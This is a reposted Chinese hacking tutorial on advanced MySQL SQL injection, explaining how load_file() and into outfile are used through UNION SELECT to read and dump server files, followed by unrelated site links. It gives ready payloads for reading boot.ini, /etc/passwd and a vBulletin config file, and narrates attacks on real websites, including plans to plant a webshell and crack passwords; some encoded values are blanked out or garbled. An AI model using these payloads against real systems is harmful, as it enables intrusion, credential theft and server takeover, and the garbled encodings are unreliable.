位置: 编程技术 - 正文

Advanced SQL Injection with MySQL

编辑:rootadmin

文/图 安全天使·angel[BST]

前言

  我的《SQL Injection with MySQL》(《黑客防线》7月的专题)已经对MySQL的注入有了比较全面的介绍了,但是有一个危害相当大的函数,我并没有在文中提及,因为如果能灵活应用这个函数,那PHP甚至服务器的安全性均会大打折扣,由于《SQL Injection with MySQL》的发表时间是在暑假期间,考虑到很多新手、学生和品德败坏的人乱用,所以我并没有把这个写在该文里,其实本文在5月初已写完。专题发表后,很多人已经陆续转到PHP+MYSQL注入的研究,很多新技术将会陆续挖掘出来,我们所掌握这方面未公开的高级技巧也会陆续公布出来。至于比较基础的东西,本文就不再提了。

详细

  我们知道,在SQL语句中,可以使用各种MySQL内置的函数,经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()这些函数来获取一些系统的信息,还有一个应用得比较多的函数,就是load_file(),该函数的作用是读入文件,并将文件内容作为一个字符串返回。  看到这里,应该可以想到我们可以做什么了,就是读取一些机密文件,但是也是有条件限制的:

欲读取文件必须在服务器上 必须指定文件完整的路径 必须有权限读取并且文件必须完全可读 欲读取文件必须小于 max_allowed_packet

  如果该文件不存在,或因为上面的任一原因而不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrators才能访问的文件,users就别想load_file出来。

  在实际的注入中,我们有两个难点需要解决:

绝对物理路径 构造有效的畸形语句

  在很多PHP程序中,当提交一个错误的Query,如果display_errors = on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的PHP程序来说,整个服务器的安全将受到严重的威胁。构造语句已经是小意思了。

利用

  我们假设一个程序的SQL语句如下:

SELECT * FROM article WHERE articleid=$id

  注:当前条件:magic_quotes_gpc = off,c:/boot.ini可读。

  此时,我们构造$id为:

-1 union select 1,1,1,1,load_file('c:/boot.ini')

  我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini')

  程序会把c:/boot.ini内容老老实实显示出来,但是现在magic_quotes_gpc = off的主机少之又少,怎么才能构造出没有引号的语句呢?看过《SQL Injection with MySQL》的朋友肯定知道用char()函数或者把字符转换成进制,没错,就是它们。

  注:当前条件:magic_quotes_gpc = on,c:/boot.ini可读。

  我们构造$id为:

-1 union select 1,1,1,load_file(char(, , , , , , , , , , ))

  “char(,,,,,,,,,,)”就是“c:/boot.ini”的ASCII代码,我们的Query就变成:

SELECT * FROM article WHERE articleid=-1 union select 1, 1, 1, load_file(char(, , , , , , , , , , ))

  我们也可以成功的读取boot.ini文件,还有把字符串转换为进制的,“c:/boot.ini”的进制是“0xa2ff6fee”,所以上面的语句可以是这样:

SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0xa2ff6fee)

  比较短了,看各人喜好了,大家可以在phpmyadmin或mysql>下输入以下查询慢慢研究。

SELECT load_file([string])

  当然,在实际应用中,由于种种条件限制,文件的内容未必会显示出来,我们也可以用into outfile把文件导出。大家已经知道如何利用了,我也不说细节了,看一个实例说明一切。

实例

  www.***host.cn是我国著名的FreeBSD主机提供商,我们就拿他来测试,因为它的论坛采用的是calendar.php存在问题的VBB论坛,我就不需要到处去找有漏洞的站点了(虽然到处都是)。这是一次完整的安全测试。仅仅获取信息,我并未进入服务器。

  这里补充说明一点关于VBB的根目录下global.php的一段代码,如下:

<?php // get rid of slashes in get / post / cookie data function stripslashesarray (&$arr) { while (list($key,$val)=each($arr)) { if ($key!="templatesused" and $key!="argc" and $key!="argv") { if (is_string($val) AND (strtoupper($key)!=$key OR ("".intval($key)=="$key"))) { $arr["$key"] = stripslashes($val); } else if (is_array($val) AND ($key == 'HTTP_POST_VARS' OR $key == 'HTTP_GET_VARS' OR strtoupper($key)!=$key)) { $arr["$key"] = stripslashesarray($val); } } } return $arr; } if (get_magic_quotes_gpc() and is_array($GLOBALS)) { if (isset($attachment)) { $GLOBALS['attachment'] = addslashes($GLOBALS['attachment']); } if (isset($avatarfile)) { $GLOBALS['avatarfile'] = addslashes($GLOBALS['avatarfile']); } $GLOBALS = stripslashesarray($GLOBALS); } set_magic_quotes_runtime(0); ?>

  这段代码的作用就是如果magic_quotes_gpc打开,就去掉所有特殊字符的前面的转义字符,所以,不管php.ini里magic_quotes_gpc的状态如何,我们输入的单引号都没有影响的,大家可以放心注入。呵呵。

  我们知道,提交:

/calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, username, password FROM user WHERE userid=1

  是可以获取用户名和密码MD5散列的,但是由于特殊原因,并没有显示出来,但凭我的经验,知道并没有构造错,所以我们可以读取并导出成文件。  因为事先我无意中访问到了含有phpinfo()的文件,所以知道了WEB的绝对路径,从访问站点的结果,发现一个下载系统是生成HTML文件的,如果那个目录没有可写权限,是不能生成HTML文件的,不过这一切都不是本文的重点,我们现在掌握如下信息:

WEB绝对路径:/home/4ngel 可写目录路径:/home/4ngel/soft/ magic_quotes_gpc = on

  和主机root相比,论坛的admin根本就不算什么,我对论坛admin也不感兴趣,我们要读取论坛的配置文件还有/etc/passwd,知道MySQL的连接信息,可以从这里入手,写webshell或其他的东西,知道/etc/passwd我们可以跑密码。直接从ssh上去。

  VBB论坛的配置文件在/home/4ngel/forum/admin/config.php,转换成ASCII代码,提交:

calendar.php?action=edit&eventid=1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , )) FROM user WHERE userid=1 into outfile '/home/4ngel/soft/cfg.txt'

  呵呵,记得加一个where来定一个条件,否则如果论坛用户很多,那么导出的文件会相当大。或者干脆指定$eventid为一个不存在的值,就不用where了,就像这样:

calendar.php?action=edit&eventid=-1 UNION SELECT 1, 1, 1, 1, 1, load_file(char(, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , )) FROM user into outfile '/home/4ngel/soft/cfg.txt'

  /etc/passwd转换成ASCII代码,提交:

calendar.php?action=edit&eventid=-1 UNION SELECT 1,1,1,1,1, load_file (char(, , , , , , , , , , )) FROM user into outfile '/home/4ngel/soft/etcpwd.txt'

  注意看到论坛的顶部,会出现下面的错误提示:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/4ngel/forum/admin/db_mysql.php on line

  经验告诉我们,文件导出成功了,提交:

  内容哗啦啦的出来了,而黑夜和猪蛋的他们入侵灰色的时候,一个个显示密码,欺骗,登陆后台,上传后门,读取config.php,一连串的步骤,我一个load_file()就搞定了。是不是危害很大?如图:

推荐整理分享Advanced SQL Injection with MySQL,希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:,内容如对您有帮助,希望把文章链接给更多的朋友!

Advanced SQL Injection with MySQL

  我记得在某个群里讨论到大家都是通过搞9****.net这个站,而进入黑白服务器的,没有办法对黑白横冲直闯,只得来曲线的。用load_file()函数,知道了某些信息就可以进入黑白所在的服务器,过程和上面的一样,利用show.php的漏洞,直接load_file出程序的配置文件,知道了mysql的信息,远程连接,写数据库导出文件,很容易获得服务器admin。

后记

  由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点做任何具有破坏性的操作。谢谢合作!

ADODB 入门第1/2页 1.前言ADODB是ActiveDataObjectsDataBase的简称,它是一种PHP存取数据库的函式组件。现在SFS3系统(校园自由软件交流网学务系统)计划的主持人陈莹光老师,决

MySQL 数据库函数库 本函数库供存取MySQL数据库。有关MySQL的细节,及下载MySQL数据库,请到这个网址

使用distinct在mysql中查询多条不重复记录值的解决办法 在使用mysql时,有时需要查询出某个字段不重复的记录,虽然mysql提供有distinct这个关键字来过滤掉多余的重复记录只保留一条,但往往只用它来返回不

标签: Advanced SQL Injection with MySQL

本文链接地址:https://www.jiuchutong.com/biancheng/319832.html 转载请保留说明!

上一篇:MySQL 索引分析和优化(mysql索引之间的区别)

下一篇:MySQL 数据库函数库(mysql数据库函数)

  • 一般纳税人劳务公司可以开3%的发票吗
  • 下列各项中免征增值税的有
  • 税盘减免主表不显示减免怎么填
  • 递延收益影响当期损益吗
  • 小规模补交去年的所得税资产负债表怎么调整
  • 天猫国际的店铺是正品吗 感觉很便宜
  • 个人取得哪项收入需要缴纳个人所得税
  • 进口奶牛缴纳增值税
  • 随意变更会计处理方法违背了
  • 退休人员额外收入的税收标准
  • 增值税扣完税款还能更改吗
  • 分期手术
  • 固定基金怎么算
  • 公司无公务用车
  • 公司对公银行账户可以注销吗
  • 购买车间用的材料怎么做分录
  • 个人开增值税普通发票税率
  • 营改增后建筑施工税率调整变化
  • 公司按照实际利润额预缴企业所得税,这个实际利润额就是会计利润吗?
  • 个税经营所得预扣预缴
  • 会员卡系统多少钱一套
  • 费用报销单的日期
  • 个人出租房屋给公司可以开专票吗
  • 关联方利息支出
  • 车船使用牌照税收多少
  • 清华同方笔记本怎么进入u盘启动
  • 工伤认定方法有几种方式呢
  • 疫情 统筹
  • 优先股分类为金融负债
  • 生产型企业原材料运费入库单怎么填
  • 结转待抵扣
  • 其他应付款转营业外收入需要交增值税吗
  • 抵扣了进项税额
  • php数组统计函数
  • php常用设计模式(大总结)
  • linux的系统配置文件
  • php实现原理
  • 前端埋点sdk
  • 员工报销的差旅费属于什么科目
  • 2021mathorcupc题答案
  • 总结php删除字符的方法
  • 净资产怎么增长
  • 房租增值税怎么计算
  • 征收率是税率吗
  • 视同销售在纳税明细表中怎么填
  • 保理融资费用账务处理
  • 超市的购物卡以什么为准
  • 不动产进项税额抵扣从什么时候开始
  • 行政事业单位工作时间
  • 企业报税流程是什么样的
  • 企业稳岗补贴计算公式
  • 企业缴纳的住房公积金的税率
  • 月底资产负债表怎么填
  • 发放福利视同销售进项税要转出吗?
  • 亏损做t计算方法
  • 公司代缴的社保能不能取出来
  • 在建工程账务处理会计分录
  • 长期股权投资损益调整是什么意思
  • 支付银行贷款利息的会计处理
  • 企业代扣个人社保最新会计处理
  • sql数据库检查命令
  • 系统诊断工具命令
  • Ubuntu Server 11.04安装GNOME 3的方法
  • 各种linux
  • linux大型软件
  • watch programmes
  • winXP运行内存查看
  • linux targz
  • 检测你的vps是不是真的
  • win7电脑操作日志怎么查看
  • 【学习ARToolkit小记之初】 ARToolkit在VS2010(Win7 64位)下的配置及第一个开发程序的编译与运行
  • Unity3D游戏开发引擎
  • 设置ip安全策略
  • python入门后学什么
  • 批处理 读文件
  • vue alain
  • 安卓调用系统相机
  • 广东地税电话客服电话
  • 个体户注销税盘需要公章吗
  • 综合征收和分类征收
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设